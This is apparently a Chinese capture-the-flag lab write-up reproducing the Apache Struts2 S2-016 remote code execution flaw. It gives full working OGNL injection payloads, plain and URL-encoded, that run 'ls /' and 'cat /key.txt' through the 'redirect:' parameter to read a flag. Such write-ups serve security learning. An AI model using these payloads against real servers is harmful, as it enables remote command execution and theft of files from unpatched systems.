题目链接:Apache Struts2远程代码执行漏洞(S2-016)复现
Don't talk about any programs, structures, algorithms, principles; I will copy, paste, download, start, a button on Getshell to show you!
啊我太喜欢这句话啦,又菜又叼,一会儿我要设置成自己的个性签名哈哈哈哈!
解决方案:
工具:御剑、Maltego
参考:答案区Remilia与tonshu二位大佬的解答
1 查看源代码
习惯性ctrl+u查看页面的源代码~
发现这里有一个链接,点开后如下图所示~
出题人已经超级非常贴心地把漏洞介绍摆在这里了:带有"action:"/"redirect:"/"redirectAction:"允许在url上运行远程执行命令,后面甚至有POC示例~
————————————
以下是不重要的错误解法,没有耐心的小伙伴请直接跳过此灰色区域:
后续思路大概是找一个搜索后台的工具,查一下后台有没有带.action、.redirect、或者.redirectAction的文件~
似乎御剑和maltgo似乎可以扫描后台,但是我确实没有具体使用过,所以我们逐个试一下,能不能现学现卖~
御剑下载地址:御剑下载使用教程_码啊码的博客-CSDN博客_御剑如何使用
Maltego下载地址:Downloads - Maltego
Maltego入门介绍:Maltego!强大的信息搜集工具,太牛了! - 知乎 (zhihu.com)
首先是御剑,解压以后,在御剑配置文件中有一些自带的迷你字典,我们选择PHP.txt,复制,然后把.php后缀全部替换为.action,起名为ACTION.txt,如下图所示~
在文件夹中再新建一个名字 “靶场.txt”,输入我们的网址~
文件夹目前多了两个文件,action.txt是我们的字典,靶场.txt是我们要查询的域名~
此时双击御剑1.5—批量扫描后台—外部导入域名列表—靶场.txt—右上角找到字典ACTION.txt并且双击,然后点击开启扫描~
但是发现扫描完成后没有显示任何有用的网页...这就让人很难受了...
然后默默地注册、下载了maltgo(官方下载链接在上面博文上面放出~),经过了漫长地等待、傻瓜式一键安装,Maltgo Community Edition就此到手啦~(话说,好像Kali是自带的~)
左上角新建文件,New,从左边的Entity Palatte中找到URL项目,拖到屏幕中央~
双击图标,输入测试网址,点击左侧运行,再点击弹窗的RUN~
随着叮的一声,查询过程就结束了,真的好厉害...
仔细看了一圈,其实也是没有找到想要的getshell网址...可能和我不太会用这个软件有关系吧...
————————————
2 POC测试
嗯...无论是凭借过人的才智、天选的运气还是还是臭不要脸地偷看答案,假设我们已经猜到了这个index.action网页,是可以访问的~
根据链接cwiki中给出的poc,验证一下,发现会有错误~
http://124.70.71.251:40485/index.action?action:%25{3*4}
根据评论区的提醒,似乎是因为没有进行URL编码导致的问题,再用URL编码一下试试~
http://124.70.71.251:40485/index.action?action:%2525%7B3*4%7D
看起来页面像是有回应了,虽然是个404,不是我们想要的结果~
继续换成 "redirect:"、"redirectAction:"再分别试一下~执行乘法算式3x4,并且url编码~
http://124.70.71.251:40485/index.action?redirect:%{3*4}
http://124.70.71.251:40485/index.action?redirect:%25%7B3*4%7D
成功执行,网页返回12,说明这个格式是可用的~
3 查看文件
根据cwiki网页的内容,Command Execution中,已经提示好了固定格式~
http:
//host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
我们可以直接替换掉红字的内容,实现基本的命令执行~
以下是大神的解法~大意是输入执行ls(阅读文件),并输出结果~
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','/'})).start() //执行进程ls
#b=#a.getInputStream() //获取子进程的输入流
#c=new java.io.InputStreamReader(#b) //读取字节并使用指定的字符集将它们解码为字符
#d=new java.io.BufferedReader(#c) //从字符输入流中读取文本
#e=new char[50000] //申请50000数组的内存
#d.read(#e) //读取的文本存入到数组
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse') //获取strut2调度程序HTTP响应信息文本内容
#matt.getWriter().println(#e) //输出#e的内容
#matt.getWriter().flush() //刷新
#matt.getWriter().close() //关闭
合在一起,用逗号隔开,粘在网址后,大概就是这样的~
http://124.70.71.251:40485/index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','/'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
再次进行URL编码,粘贴到地址栏,运行后发现有一个index.action的小文件可以下载,打开后如截图所示~
http://124.70.71.251:40485/index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d
发现key.txt,于是下一步就是把EXP第一步的ls改为cat key.txt(查看文件 key.txt),其余不变,并且进行URL编码~
http://124.70.71.251:40485/index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/key.txt'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
http://124.70.71.251:40485/index.action?redirect:%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%27cat%27%2C%27%2Fkey.txt%27%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D
又会弹出一个小文件,打开后的结果如图~
key:mozhe4f089d121e5762eb89891ffb6b2
哎,羡慕~什么时候我也可以写出这样行云流水般的EXP~
愿本文有所帮助~欢迎留言沟通与讨论~(●'◡'●)